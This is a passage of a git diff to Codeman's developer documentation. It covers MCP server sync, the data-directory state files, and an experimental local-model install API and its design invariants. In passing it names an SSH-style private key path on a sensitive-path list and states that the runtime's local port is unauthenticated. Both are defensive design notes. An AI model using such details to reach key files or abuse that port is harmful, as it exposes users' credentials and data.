over `test/fixtures/fake-ollama.ts`), `-state-store`, `-connect`, `test/cli-install-runner.test.ts`, `test/custom-model-hosts-writer.test.ts`, `test/routes/local-model-routes.test.ts`, `test/routes/local-model-launch-guard.test.ts`. → [architecture-invariants#local-model-install](docs/architecture-invariants.md#local-model-install), `docs/local-models.md`, `docs/api-reference.md` (Local model) **MCP server sync** (opt-in, `mcpSyncEnabled`, SYNCED, default OFF; `src/mcp-sync.ts`, `GET`/`POST /api/mcp-sync`): copies each installed, enabled CLI's user-level MCP servers into the others. It is the ONE subsystem that writes another CLI's REAL user config (`~/.claude.json`, `~/.codex/config.toml`, `~/.gemini/*`, opencode's), which is why it is opt-in and admin-only in multi-user mode (both verbs 403 for a non-admin, and the Settings group is hidden for them). Where each CLI keeps the file is registry data, `capabilities.mcpConfig` (`{ path, format, relocation? }`), never a branch on the id. ⚠️ Tools that sync but are not run modes (GitHub Copilot CLI, the first) are plain data in `MCP_SYNC_ONLY_TOOLS` (`src/mcp-sync-targets.ts`), take part only when installed or already configured, and their companion `settings.json` (`disabledMcpServers`) is read, never written; a test must clear their relocation vars too. ⚠️ ADDITIVE only: a name already defined, in any shape, is never edited or removed (a different same-name definition is a reported conflict), and a server switched off in its own CLI is never copied. ⚠️ Never write a file that did not parse; re-parse the NEW text and require every added server to read back before the tmp+rename (written through a symlink, previous file kept as `<file>.codeman-bak`, one apply at a time, else 409). ⚠️ A file that receives copied `env`/`headers` (secrets) is left `0600`, and so is the backup. ⚠️ Responses carry server NAMES only, never env values, headers or file text: a parse failure is reported by line and column (`describeMcpSyncError`), never the parser's own message (smol-toml and V8 both quote source). ⚠️ `mcpConfig.relocation` names the env var the CLI reads to move its file (`CLAUDE_CONFIG_DIR`, `CODEX_HOME`, `XDG_CONFIG_HOME`, `GEMINI_CLI_HOME`, and `COPILOT_HOME` for Copilot), resolved from the SERVER env at call time; a relative value reports the target `skipped`, never a guessed write, and a per-session `envOverrides` relocation is not followed. Tests must pass `home` (which drops the `process.env` default) or clear those vars first. → `docs/cli-registry.md` (MCP server sync), `docs/api-reference.md`, `docs/wiki/Settings-Reference.md` @@ -325,7 +327,7 @@ One module per domain in `src/web/routes/` (plus a barrel; `ls src/web/routes/` ## State Files -All in `~/.codeman/`: `state.json` (sessions, settings, respawn, orchestrator, cron jobs/runs, owner tab layouts, case default groups), `mux-sessions.json` (tmux recovery), `settings.json` (user prefs), `push-keys.json` + `push-subscriptions.json`, `session-lifecycle.jsonl` (audit log), `update-status.json` (self-updater progress, polled across the service restart), `docker-env-applied.json` (Compose deployment only: sha256 of the Dockerfile + compose file the running container was built from, written by `Start-Codeman.sh`, read by the self-updater's environment gate), `docker-build-source.json` (Compose deployment only: the checkout's HEAD commit and `package-lock.json` hash the `codeman-node-modules`/`codeman-dist` volumes currently reflect, written by both `Start-Codeman.sh` and a successful in-place self-update, compared to detect and refresh a volume left stale by an externally-triggered rebuild), `linked-cases.json`, `webviews.json` (saved web-tab dashboard URLs), `remote-hosts.json` + `remote-cases.json`, `docker-hosts.json` + `docker-cases.json` + `docker-exports/`, `subagent-window-states.json` + `subagent-parents.json` (subagent window layout, GET/PUT `/api/subagent-window-states`/`-parents`), `hook-secret` (per-instance), `users.json` (multi-user, mode 0600) + `admin-audit.jsonl`, `intents.json` (Read My Mind intent profiles, mode 0600), `agent-inbox.json` (agent inbox snapshot, only while `agentInboxPersistEnabled` is on, mode 0600), `edit-history/<id>.json` (Edit history panel, one store per session, every diff an agent wrote, mode 0600), `webhook.json` (webhook notifications: enabled/service/scope plus the ntfy/Slack/Discord URL, a bearer secret, so mode 0600, kept out of `settings.json` and never returned by `/api/webhook`, which is admin-only in multi-user mode), `discord.json` (Discord bridge: bot token, a bearer secret, so mode 0600, never returned by `/api/discord`, admin-only in multi-user mode) + `discord-bridge.json` (sessionId to Discord thread id), `config-backup-id` (the random id config backups record as each manifest's `origin`, so instances sharing a backup folder keep to their own snapshots; mode 0600, never tracked or restored, and deleting it unlists this instance's earlier snapshots), `backups/config/` (the default config-backup folder, moved by `configBackupDir`: `cfg-YYYYMMDD-HHMMSS/` snapshots, 0700 with 0600 files, each with a `manifest.json` of SHA-256s, the origin and the retention in force (`keepCount`/`keepDays`), which a pass falls back to when `settings.json` lacks a retention key), `certs/` (self-signed TLS for `--https`), `.env` (CODEMAN_USERNAME/PASSWORD fallback for the `codeman attach` CLI), `install.log` (installer step output, written by `install.sh`'s `run_step`) `tailscale-rename` (the node name before `install.sh` renamed it, so uninstall can offer it back) and `runtime/` (the Node.js and tmux `install.sh` downloaded on its no-admin route, linked from `~/.local/bin`; all three installer-route only). Transient: `self-update-runner.sh`. Multi-user case spaces live OUTSIDE the data dir at `~/codeman-users/<username>/cases` (shared across instances like `~/codeman-cases`, override `CODEMAN_USER_SPACES_DIR`). +All in `~/.codeman/`: `state.json` (sessions, settings, respawn, orchestrator, cron jobs/runs, owner tab layouts, case default groups), `mux-sessions.json` (tmux recovery), `settings.json` (user prefs), `push-keys.json` + `push-subscriptions.json`, `session-lifecycle.jsonl` (audit log), `update-status.json` (self-updater progress, polled across the service restart), `docker-env-applied.json` (Compose deployment only: sha256 of the Dockerfile + compose file the running container was built from, written by `Start-Codeman.sh`, read by the self-updater's environment gate), `docker-build-source.json` (Compose deployment only: the checkout's HEAD commit and `package-lock.json` hash the `codeman-node-modules`/`codeman-dist` volumes currently reflect, written by both `Start-Codeman.sh` and a successful in-place self-update, compared to detect and refresh a volume left stale by an externally-triggered rebuild), `linked-cases.json`, `webviews.json` (saved web-tab dashboard URLs), `remote-hosts.json` + `remote-cases.json`, `docker-hosts.json` + `docker-cases.json` + `docker-exports/`, `subagent-window-states.json` + `subagent-parents.json` (subagent window layout, GET/PUT `/api/subagent-window-states`/`-parents`), `hook-secret` (per-instance), `users.json` (multi-user, mode 0600) + `admin-audit.jsonl`, `intents.json` (Read My Mind intent profiles, mode 0600), `agent-inbox.json` (agent inbox snapshot, only while `agentInboxPersistEnabled` is on, mode 0600), `edit-history/<id>.json` (Edit history panel, one store per session, every diff an agent wrote, mode 0600), `webhook.json` (webhook notifications: enabled/service/scope plus the ntfy/Slack/Discord URL, a bearer secret, so mode 0600, kept out of `settings.json` and never returned by `/api/webhook`, which is admin-only in multi-user mode), `discord.json` (Discord bridge: bot token, a bearer secret, so mode 0600, never returned by `/api/discord`, admin-only in multi-user mode) + `discord-bridge.json` (sessionId to Discord thread id), `local-model.json` (local model install: state, step, model, port, pid, digest, the previous `customModelEndpointsEnabled` value; mode 0600, holds no path, not part of a config backup) + `local-model/` (the pinned runtime, the model store and the runtime's private HOME, removed by `DELETE /api/local-model`), `config-backup-id` (the random id config backups record as each manifest's `origin`, so instances sharing a backup folder keep to their own snapshots; mode 0600, never tracked or restored, and deleting it unlists this instance's earlier snapshots), `backups/config/` (the default config-backup folder, moved by `configBackupDir`: `cfg-YYYYMMDD-HHMMSS/` snapshots, 0700 with 0600 files, each with a `manifest.json` of SHA-256s, the origin and the retention in force (`keepCount`/`keepDays`), which a pass falls back to when `settings.json` lacks a retention key), `certs/` (self-signed TLS for `--https`), `.env` (CODEMAN_USERNAME/PASSWORD fallback for the `codeman attach` CLI), `install.log` (installer step output, written by `install.sh`'s `run_step`) `tailscale-rename` (the node name before `install.sh` renamed it, so uninstall can offer it back) and `runtime/` (the Node.js and tmux `install.sh` downloaded on its no-admin route, linked from `~/.local/bin`; all three installer-route only). Transient: `self-update-runner.sh`. Multi-user case spaces live OUTSIDE the data dir at `~/codeman-users/<username>/cases` (shared across instances like `~/codeman-cases`, override `CODEMAN_USER_SPACES_DIR`). **Generated top-level dirs** (all gitignored — don't edit or commit): `dist/` (esbuild output), `out/`, `coverage/`, `test-results/`, `tmp/`, `screenshots-echo-diag/`. The committed gesture bundle (`src/web/public/gesture/gesture-codeman.js`) IS tracked, but its runtime wasm/model assets (`src/web/public/gesture/wasm/`, `*.task`) are fetched and gitignored. diff --git a/docs/api-reference.md b/docs/api-reference.md index b0464ac8..e2d759a5 100644 --- a/docs/api-reference.md +++ b/docs/api-reference.md @@ -1676,15 +1676,44 @@ Only replies from `allowedUserIds`, in `guildId`, inside a thread the bridge cre `GET /api/doctor[?category=core|office|other]` returns the `codeman doctor --json` report (`platform`, `summary`, `tools[]` with `status` `ok` \| `missing` \| `outdated` \| `skipped` \| `error`, `version`, `path`, `installHint`). The probe engine is synchronous, so it runs in a child process of the same entry script, never on the server's event loop (30 s timeout). It names install paths and versions, so it is admin only in multi-user mode (`403`). `400` for an unknown category, `500` if the child produces no report. -## Local model recommendation +## Local model -`GET /api/local-model` looks at the machine the server runs on and says which local coding model fits it, and with which agent CLI. It covers Apple silicon macOS only; anywhere else the answer is still a `200`, with verdict `none`. **Read-only:** the route downloads nothing, installs nothing, writes no file and reads or changes no setting (setting a model up from Codeman is a later step and is not built yet). It names the host's hardware, so it is admin only in multi-user mode (`403`, answered before anything is probed). The models, their sizes and the agent CLIs it considers are a catalogue compiled into the release; there is no override file. +`GET /api/local-model` looks at the machine the server runs on and says which local coding model fits it, with which agent CLI, and where an install of one stands. Five verbs install a model, pause and continue the install, stop and start the model runtime, and remove everything again. It covers Apple silicon macOS only; anywhere else the GET is still a `200`, with verdict `none`, and nothing can be installed. How it works: [local-models.md](local-models.md). -**Experimental.** This endpoint and its payload are labeled experimental until the step that sets a model up ships: that step will add to and may change the fields below, the verdicts and the sentences, in a MINOR or PATCH release (see [versioning-policy.md](versioning-policy.md), "What SemVer does NOT cover", item 3). Do not build on its shape yet. +**Experimental.** These routes and their payloads are labeled experimental: the fields below, the states, the error codes and the sentences may change or go in a MINOR or PATCH release (see [versioning-policy.md](versioning-policy.md), "What SemVer does NOT cover", item 3). Do not build on their shape yet. -| Method | Path | Body | Notes | -| ------ | ------------------ | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `GET` | `/api/local-model` | none | `200` with `{ hardware, recommendation, catalogUpdated }`. `403 FORBIDDEN` for a non-admin in multi-user mode. `500 INTERNAL_ERROR` only when the recommendation itself fails, never for a failed probe. | +Every route is admin only in multi-user mode (`403 FORBIDDEN`, answered before anything is probed, parsed or started): the GET names the host's hardware, and the verbs download and run a program, install an agent CLI and write the server-wide settings. There is no SSE event: the window polls the GET once a second while it is open. + +| Method | Path | Body | Notes | +| -------- | -------------------------- | ------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| `GET` | `/api/local-model` | none | `200` with `{ hardware, recommendation, catalogUpdated, install }`. `500 INTERNAL_ERROR` only when the recommendation itself fails, never for a failed probe. | +| `POST` | `/api/local-model/install` | `{ modelId, cli, context, acknowledgedBytes }` | Starts the one install job and answers at once; the job runs on in the server. `400 INVALID_INPUT` when the three choices are not a row the server offers right now. `409`: `job-running`, `already-installed`, `size-changed`. | +| `POST` | `/api/local-model/cancel` | none | Interrupts the step in flight; the job is `paused` at that step. `409 wrong-state` when no job is running. | +| `POST` | `/api/local-model/resume` | `{ newPort? }` (may be absent) | Continues a `paused` or `failed` job at the same step. `newPort: true` chooses another port first. `409`: `job-running`, `wrong-state`. | +| `POST` | `/api/local-model/runtime` | `{ action: "start" \| "stop", newPort? }` | `stop` stops the runtime and keeps it from starting at the next boot; `start` undoes that. `newPort: true` with `start` chooses another port and moves the saved endpoint to it. `409`: `job-running`, `wrong-state` (nothing is installed). | +| `DELETE` | `/api/local-model` | `{ removeModel? }` (may be absent) | Stops the runtime, removes the saved endpoint, restores the settings flag when this feature switched it on and no other endpoint is saved, deletes the runtime; the model only with `removeModel: true`. `409`: `job-running`, `sessions-open`. | + +Every verb answers `{ success: true, data: <install> }` with the `install` object (below) as it is after the verb. A refusal the feature names is a `409` whose envelope also carries the conflict: + +```json +{ + "success": false, + "error": "The download is 23.3 GB now. Check the sizes and confirm again.", + "errorCode": "CONFLICT", + "data": { + "reason": "size-changed", + "message": { "text": "The download is {size} GB now. Check the sizes and confirm again.", "vars": { "size": "23.3" } }, + "expectedBytes": 23291770627, + "expectedGb": "23.3" + } +} +``` + +`data.reason` is `job-running`, `already-installed` (remove the installed model first), `size-changed` (with `expectedBytes` and `expectedGb`), `sessions-open` (with `sessions`, the names of the live sessions that use the model) or `wrong-state`. A `409 CONFLICT` without `data` means a config file that must not be overwritten (`settings.json` or `custom-model-hosts.json` does not parse); `error` names the fix. + +`POST /api/local-model/install` also answers `400` when a saved model endpoint already uses the id `local-ollama` and was not created by this feature: rename or delete that endpoint first. The check is made before anything is downloaded. + +**Consent is bound to the size shown.** `acknowledgedBytes` must be the `installBytes` of the chosen row: the model download plus the runtime download while the runtime is not unpacked yet. The server compares it with its own total before anything starts and answers `409 size-changed` when they differ, so a click confirms exactly the size the person saw. A probe that fails is an answer, not an error: a server that is not on macOS, or a Mac whose `sysctl` call failed or timed out, still gets a `200`, and `hardware.source` says what was read. @@ -1696,18 +1725,46 @@ A probe that fails is an answer, not an error: a server that is not on macOS, or - `chip`, `model`, `macosVersion`, `macosMajor`, `wiredLimitMb` (`0` means not set), `freeDiskBytes` and `freeDiskGb` (free space on the filesystem of Codeman's data directory). Each is absent when it could not be read. - `source`: `sysctl` (the one bounded `sysctl` call answered), `os-fallback` (macOS, but that call failed: memory, architecture, the chip name and the free disk space come from Node, and nothing only `sysctl` knows, such as `arm64`, `translated`, `model`, `macosVersion`, `macosMajor` or `wiredLimitMb`, is present) or `not-probed` (not macOS, nothing was run). - `recommendation`: - - `verdict`: `ok`, `limited` or `none`. `limited` is a statement about the Mac: no model with 12 billion parameters or more fits its memory, so what it can run handles small edits and questions and does not replace a cloud model. It is judged on every model that fits, before the free disk space is looked at and whatever the pick is. With `ok` the pick can still be a small model (a larger one may fit only tightly, have no speed figure or have no room on the disk); `notes` then says so. + - `verdict`: `ok`, `limited` or `none`. `limited` is a statement about the Mac: no model with 12 billion parameters or more fits its memory, so what it can run handles small edits and questions and does not replace a cloud model. It is judged on every model that fits, before the free disk space is looked at and whatever the pick is. With `ok` the pick can still be a small model (a larger one may be slow, have no speed figure or have no room on the disk); `notes` then says so. - `reason`, present only with `none`: `not-macos`, `intel`, `memory`, `disk`, `macos` (too old) or `no-harness` (no agent CLI that can be connected to a local model is installed or installable). `memory` has three sentences: nothing fits at all (slot `memory`, the size the Mac is sold as), a model fits but only below the context length an agent CLI needs (slots `budget` and `need`, so a Mac that misses by a little reads as that), and the memory size could not be read (no slot). - `headline` and `notes[]`: `{ text, vars? }`. `text` is an English sentence that may hold `{placeholder}` slots, and `vars` carries the slot values as text. Notes, in order: the pick is a small model although larger ones fit (verdict `ok` only); a model that fits the memory was left out because its download would not leave 10 GiB free on the disk (slots `model` and `missing`: the best-ranked such model and the GB to free up); nobody tested the pick on a Mac like this one. - - `pick` (absent with `none`) and `alternatives[]` (at most four, best first; empty with `none`), each one model at one context length with one agent CLI. A model whose download would leave less than 10 GiB free on the disk is not listed (an unknown free disk space excludes nothing): + - `pick` (absent with `none`) and `alternatives[]` (at most four, best first; empty with `none`), each one model at one context length with one agent CLI. The order: a pair tested on a Mac like this one first, then speed (`ok` before `unknown` before `slow`), then the model's rank, the agent CLI's rank and the larger context. The memory fit decides whether a row is listed and what it says (`fit`, `tag`), it does not sort, so a model is offered at the largest context it fits at. A model whose download would leave less than 10 GiB free on the disk is not listed (an unknown free disk space excludes nothing): - `modelId` (`name:tag`), `modelLabel`, `license`, `paramsB` (parameters in billions), `context` (tokens); - `cli`, `cliLabel`, `cliInstalled` (`false`: the CLI is not on this machine yet but can be installed without administrator rights), `slowFirstTurn?`; - - `needBytes` and `needGb` (memory the model needs at that context), `downloadBytes` and `downloadGb`, `budgetShare` (need divided by `budgetBytes`, rounded to three decimals); + - `needBytes` and `needGb` (memory the model needs at that context, at its PEAK: the weights, what stays held per token of context, what the runner holds beside both, and what it takes for a moment while a long prompt is processed), `needSource` (`measured`: the figures were measured for this model on a Mac; `estimated`: they are another model's), `downloadBytes` and `downloadGb`, `budgetShare` (need divided by `budgetBytes`, rounded to three decimals); + - `installBytes` and `installGb`: the whole download a click on Install starts for this row, `downloadBytes` plus the runtime archive while the runtime is not unpacked. It is the number to send as `acknowledgedBytes`; + - `harnesses[]`: every agent CLI the model can be run with at this context, best first: `{ cli, cliLabel, installed, installCommand?, slowFirstTurn? }`. `installCommand` is the literal command the install would run for a CLI that is not installed (the release's own stock command), for the consent screen. The first entry is the one the flat `cli` fields name; + - `tag?`: `{ kind, label }`, the one tag of the row. `kind` is `tested`, `best`, `tight`, `slow` or `small`; - `fit`: `good` (up to 0.85 of the budget) or `tight` (up to 0.98), with its label `fitLabel`; - `speed`: `ok`, `slow` (under 10 tokens per second) or `unknown`, with `speedLabel` (absent for `ok`) and `tokensPerSecond` (rounded to one decimal, absent for `unknown`; `speed` is decided on the unrounded figure, so `10` can be `slow`). `unknown` means the chip is in no row of the catalogue's chip table, or the catalogue has no speed figure for the model: a speed is never guessed; - - `tested`: we ran this model with this CLI on a Mac like this one. No catalogue row has such an entry yet, so it is `false` today. - - `budgetBytes` and `budgetGb`: the memory a model may use on this Mac (`0` for `not-macos` and `intel`, where none is computed). `budgetSource` is `wired-limit` (taken from `iogpu.wired_limit_mb`) or `estimated` (computed from the installed memory). + - `tested`: we ran this model with this CLI on a Mac like this one (same chip, same memory size). Its `tokensPerSecond` is then the speed measured in that run. + - `budgetBytes` and `budgetGb`: the memory a model may use on this Mac (`0` for `not-macos` and `intel`, where none is computed). `budgetSource` is `estimated` (computed from the installed memory: all there is before the runtime ran), `wired-limit` (taken from `iogpu.wired_limit_mb`) or `measured` (the device total the runtime itself printed when it started; the GET uses it from the first install on). - `catalogUpdated`: ISO date on which the catalogue's rows were last checked. +- `install`: where the install stands and what can be done about it. + - `state`: `idle` (nothing installed, no job), `installing`, `paused` (Cancel or a server restart stopped the job; it never continues without a click), `failed` or `installed`. + - `step` and `steps[]` (present with `installing`, `paused` and `failed`): the step the job is in or stopped in, and the steps of this job in order, out of `runtime`, `model`, `verify`, `agent`, `connect`. `agent` is absent from a job whose agent CLI was already installed. + - `progress` (while a download runs, and as it stood on a paused or failed job): `completedBytes`, `totalBytes`, `completedGb`, `totalGb`, and while it moves `bytesPerSecond`, `mbPerSecond` (whole decimal megabytes per second as text) and `secondsLeft`. During the `model` step both byte figures come from the download's own lines, not from the catalogue. + - `error` (with `failed`; with `installed` only when something blocks a session): `{ code, message: { text, vars? }, next, nextModel?, detail? }`. `next` is the ONE action that helps: `retry` (`POST .../resume`), `other-port` (`POST .../resume` or `.../runtime` with `newPort: true`), `next-model` (choose again; `nextModel` is `{ modelId, modelLabel }` when the server knows one), `start` (`POST .../runtime`) or `remove` (`DELETE`). `detail` is raw text for the curious (an installer's last lines), not translated. + - `model` (`{ id, label }`), `cli`, `cliLabel`, `context`: the choice of the job or of the installation. `port`: the runtime's loopback port, once chosen. + - `running`: the runtime Codeman started is alive right now. A runtime the person stopped is `running: false` with no `error`. + - `loaded` (with `installed`): what the runtime reported when the job checked the loaded model: `context`, `memoryBytes`, `memoryGb`, `onGpu`. + - `endpointId` (with `installed`): the saved model endpoint a session is started on, with `cli`. + - `developerTools`: `present`, `missing` (the Mac has no Xcode or Command Line Tools, so macOS will offer to install them the first time an agent runs `git` or `python3`) or `unknown`. + - `runtime`: `{ version, installed, downloadBytes, downloadGb, unpackedGb }`. `downloadBytes` is `0` once the runtime is unpacked. + - `folder`: the absolute folder everything of this feature is kept in. + - `actions[]`: exactly what the server accepts right now, out of `install`, `cancel`, `resume`, `start`, `stop`, `remove` and `start-session` (not a route here: start a session on `endpointId`; offered only while the runtime runs and nothing blocks a session). + +Error codes (`install.error.code`), each with one next step: + +| Next step | Codes | +| ------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `retry` | `runtime-download-failed`, `runtime-damaged`, `runtime-unpack-failed`, `runtime-start-failed`, `disk-full`, `pull-failed`, `context-not-applied`, `load-failed`, `probe-unfinished`, `harness-failed`, `endpoint-id-taken`, `connect-failed`, `internal` | +| `start` | `runtime-stopped` (the runtime crashed three times in a row and is no longer restarted) | +| `other-port` | `port-in-use` | +| `next-model` | `model-not-found`, `does-not-fit`, `no-tool-call` | +| `remove` | `model-changed` (the model's digest is no longer the one stored at install time; a session on it is refused) | + +Starting a session on the saved endpoint goes through the existing custom model launch (`POST /api/quick-start` with `customModel`, or `POST /api/sessions/:id/custom-model`). For the endpoint this feature manages both answer `OPERATION_FAILED` with one sentence while the runtime is not running, when the model's digest changed, or for a model other than the installed one. Every computed size a person reads travels twice: as bytes, and as decimal GB text without the unit (`"needGb": "29.6"`). Show the text and add the unit; do not divide the bytes yourself, so one request never shows two different roundings. The installed memory is the exception named above: show `memClassGb`. diff --git a/docs/architecture-invariants.md b/docs/architecture-invariants.md index 5d67547d..53b53b9c 100644 --- a/docs/architecture-invariants.md +++ b/docs/architecture-invariants.md @@ -694,6 +694,38 @@ Either way the actual launch (`runCustomModelEntry`) routes through `run()` itse ⚠️ **The loading banner shows the REAL backend log line, not a guess, and has no countdown or auto-timeout at all.** `getLatestLlamaSwapLogLine()` holds one `GET /api/events` SSE connection open per endpoint (confirmed live to stay open indefinitely — read past 220KB over 8s with no `done`; idle-closed after 30s via `pruneIdleLlamaSwapLogTails`, same 20s sweep as the swap-displacement check above), parsing `logData` frames and keeping only `source: "upstream"` (the real `llama-server` process's own stdout) lines, never `source: "proxy"` (llama-swap's own request-access log). ⚠️ `GET /logs` — the endpoint this feature's own first cut targeted, since the name suggested it — was confirmed live to carry ONLY the proxy log and never a single backend line, even seconds after a real, verified model swap; caught and corrected by a live check before merge, not after. The banner itself dropped its size-scaled expected-time estimate and matching auto-timeout (a guess dressed up as a fact that could kill a genuinely slow load partway through on slower hardware) for a generic hardware/model-size disclaimer plus a user-driven **Cancel** button (`_showCenterStatus`'s `onCancel` option, a real button distinct from the plain "×" close glyph an `'error'`-type banner gets) that ends the wait and closes the session on the user's own call rather than a guessed deadline. +### Local model install + +**A model that runs on this Mac** (`src/local-model/`, `src/config/local-model-catalog.ts`, routes `src/web/routes/local-model-routes.ts`; EXPERIMENTAL; guide `docs/local-models.md`): the server looks at the Mac it runs on, says which local coding model fits it, and installs one: a pinned runtime it supervises, the model, the checks, the coding agent, and one saved model endpoint. The read side (`hardware.ts`, the catalogue, the pure `recommend()`) is described in the root `CLAUDE.md`; this section is the install. + +**The layout** is one pure function (`localModelPaths()`, `paths.ts`): `<data dir>/local-model/` holds `runtime/ollama-<version>/` (plus its `.tgz.partial` and `.unpack` while it is fetched), `models/` and `home/`; `<data dir>/local-model.json` is the state file. ⚠️ Every path comes from `dataPath()` through that function and NONE is ever read back from the state file (which holds no path), so a state file cannot point a delete anywhere. ⚠️ Nothing is written or deleted outside `local-model/` except the state file and the two writes of the connect step. The runtime's `HOME` is the private `home/` (measured to work), so its key pair lands there and the user's own `~/.ollama` is never created, read or removed; `home/` and a `.ollama/id_ed25519` anywhere are on the sensitive-path list. + +**The pin** (`OLLAMA_RUNTIME_PIN`, `runtime.ts`) is a COMPILED constant: version, URL, size, sha256. ⚠️ No file, setting, env var or request may supply any part of it: a hash that comes from the same writable place as the URL pins nothing. The archive is streamed to `*.partial` while it is hashed, continued with a Range request (3 bounded retries), refused when it grows past the pinned size, and the hash is compared BEFORE `/usr/bin/tar` unpacks anything into a temporary folder that is then renamed. + +**Supervision** (`createRuntimeSupervisor()`): the runtime is a NON-detached child, started at boot once a model is installed and enabled, restarted at most 3 times in a row, SIGTERMed at shutdown beside `stopDeepSeekWeb()`. ⚠️ Its environment comes from the pure `runtimeEnv()` ALLOWLIST (PATH, the private HOME, TMPDIR, LANG, the proxy variables, and exactly `OLLAMA_HOST=127.0.0.1:<port>`, `OLLAMA_MODELS`, `OLLAMA_CONTEXT_LENGTH`, `OLLAMA_NO_CLOUD=1`, `OLLAMA_KEEP_ALIVE=10m`, `OLLAMA_NUM_PARALLEL=1`, `OLLAMA_MAX_LOADED_MODELS=1`): never `process.env` whole (it carries `CODEMAN_PASSWORD`, and a user's own `OLLAMA_ORIGINS=*` would open the port to every web page). ⚠️ The port is chosen ONCE by binding (11435 across 20; 11434 belongs to a runtime the user may run) and stored; it is never searched again on a later start, because it is part of the saved endpoint's URL. ⚠️ Pid and port are in the state file: a listener on the port that answers `/api/version` and whose pid runs a binary under OUR runtime folder is our own orphan (a server that was killed leaves one: a child is not ended by its parent's death) and is adopted or replaced; ANY other listener is `port-in-use`, never something to talk to. ⚠️ The supervisor never writes the state file: it reports through `onChange`, and the job stores what it reports. ⚠️ Under vitest nothing spawns and nothing is fetched unless a test injects it. + +**The budget is measured.** The runtime prints the device total in its log line "inference compute" (`total="37.4 GiB"`); `parseInferenceComputeTotal()` reads it, the job stores it and judges the chosen model against it (`modelFitsBudget()`) BEFORE the model is downloaded; from then on the GET recommends with `budgetSource: 'measured'`. One consent covers the whole install: the sizes that were confirmed do not change, so a model that no longer fits is a failure with the next model, not a second question. + +**The job** (`install-job.ts`) is a pure reducer (`reduceInstallJob()`) over three tables in that file (`INSTALL_STATE_TABLE`, `INSTALL_STEP_TABLE`, `INSTALL_TRANSITIONS`), driven by one service per process (`getLocalModelService()`). States: `idle`, `installing`, `paused`, `failed`, `installed`; steps in order: `runtime`, `model`, `verify`, `agent`, `connect` (`agent` is left out when the coding agent is installed). ⚠️ An event the transition table does not list is REFUSED by returning the same object, which the service answers with 409 `wrong-state`; add a transition to the table, never a special case to the service. ⚠️ ONE job at a time: verbs run on one queue, so two installs sent together cannot both find the state free. ⚠️ A job the state file still calls `installing` when the process has none was interrupted by a restart: it becomes `paused` the first time anything looks (`boot()`, a GET or a verb), and NOTHING continues without a click. `shutdown()` therefore writes nothing: it aborts the step and leaves `installing` in the file. ⚠️ An interrupted step is never recorded as failed, whatever its last call answered (an aborted fetch looks like a network error): the job checks its own signal before it writes `failed`. ⚠️ Every step is idempotent, because Resume and "Try again" re-enter the step the job stopped in. ⚠️ Cancel in the `connect` step is honoured only before the first write: once the two writes began they finish, so the pair is never left half done. ⚠️ The state file (`state-store.ts`) has ONE writer, serialized, temp file + rename, mode 0600, and reading is TOTAL (a file that does not parse, another schema, or a state that lacks a member it needs reads as idle): it holds nothing of the user, so it is replaced rather than refused, unlike `settings.json`. ⚠️ Progress is kept in memory and written at most every few seconds and when the job pauses or fails; the window reads the live figure. A 23 GB pull emits about 1.4 million lines, so neither the stream nor one state write per line is affordable. + +**Install is checked before anything is downloaded** (`LocalModelService.install()`): the model, the context and the coding agent must be a row the CURRENT recommendation offers (a model id is looked up, never passed on: without a slash it cannot name another registry host, and the request schema repeats that); the coding agent must be a harness row of the catalogue; `acknowledgedBytes` must equal the server's own total (`Candidate.installBytes`: the model plus the runtime archive while the runtime is not unpacked), else 409 `size-changed` with that total, so a consent is bound to the size that was shown; and a saved endpoint that already has the reserved id and is not ours is said now, not after a 23 GB download. + +**The check after the pull** (`verifyModel()`): one tiny chat with `reasoning_effort: "none"`, then `/api/ps` must show `size_vram == size` at the chosen context, then one tool probe (`tools`, `reasoning_effort: "none"`, `max_tokens` 1024) that passes on a tool call with parseable arguments. ⚠️ Thinking is switched off and the cap is generous on purpose: every catalogue model thinks first, and a probe that ends on its token limit proves nothing (`probe-unfinished`, never `no-tool-call`). ⚠️ A failure is a state with a code and ONE next step (`LOCAL_MODEL_ERROR_NEXT`), never a bare "failed". ⚠️ The job fails when the runtime reports no digest for the model: there would be nothing to compare later. + +**The coding agent** is installed by `runInstallCommand()` of `src/cli-install-runner.ts`, the runner extracted from `cli-registry-routes.ts` (whose route keeps its behaviour and re-exports `installEnv`/`npmGlobalPrefixWritable` for its tests). ⚠️ The job runs only `stockInstallCommand(id)`, read from the COMPILED `STOCK_CLIS`, never the registry merged with `clis.json` (the route's own command still comes from the merged registry, behind its `cliManagementEnabled` gate): this path has no such gate, so an override file must not be able to change what it runs. `HarnessFact.installCommand` is that same string, which is what the consent screen prints. ⚠️ Only for a harness row of the catalogue, only after the consent click, admin only, audited (`cli_install` with `via: 'local-model'`). ⚠️ ONE install slot per CLI id (`tryBeginCliInstall()`), shared by the route and the job. ⚠️ After the installer, successful or not, the resolver caches are forgotten (`forgetResolvedCli()`) and the binary is looked for again: a pre-install miss is negative-cached for up to five minutes, and "Start a session" would otherwise answer "not installed". Still missing is `harness-failed`; found is success whatever the exit code. The runner takes an abort signal that kills the installer's process GROUP. + +**The connection** (`connect.ts`): one record `{ id: 'local-ollama', label: 'This Mac', baseUrl, authStyle: 'bearer', models: [<id as /v1/models lists it>], defaultModelId, defaultContextLength: <the chosen context> }`, validated by `CustomModelHostSchema` and written through `mutateCustomModelHosts()`, then `customModelEndpointsEnabled: true` through `mutateSettingsFile()`, with the flag's previous value kept in the state file (a second connect must hand the FIRST value back, or Remove could never switch the flag off again). ⚠️ `defaultContextLength` is load-bearing: the runtime's model listing states no context, so this field is what reaches the coding agent as its limit. ⚠️ The id is reserved: `POST /api/model-endpoints` refuses it, and a record with it that this feature did not write is never overwritten (`endpoint-id-taken`). ⚠️ While the state file records the connection, the record is MANAGED (`isManagedLocalEndpoint()`): `PUT`/`DELETE /api/model-endpoints/local-ollama` are refused, discover answers the stored list without a request, and the sweep skips it, so a model somebody pulled through the port never becomes launchable and the URL never leaves the supervised port. A hand-made record with that id (no state) stays an ordinary endpoint. `local-model.json` is not a config-backup file while the endpoint store and the settings are, so a restore can take the record away under an installed model: `boot()` puts the RECORD back when it is gone (`ensureLocalEndpoint()`, never replacing one that is there) and leaves the settings flag as it finds it. ⚠️ The runtime's port has NO authentication, and its CORS allowlist always admits `localhost` origins: any local process or localhost page can pull, create or delete models there. That is the reason for the three rules above and for the digest. + +**The digest** `/api/tags` reported after the check is stored. ⚠️ Before a session starts 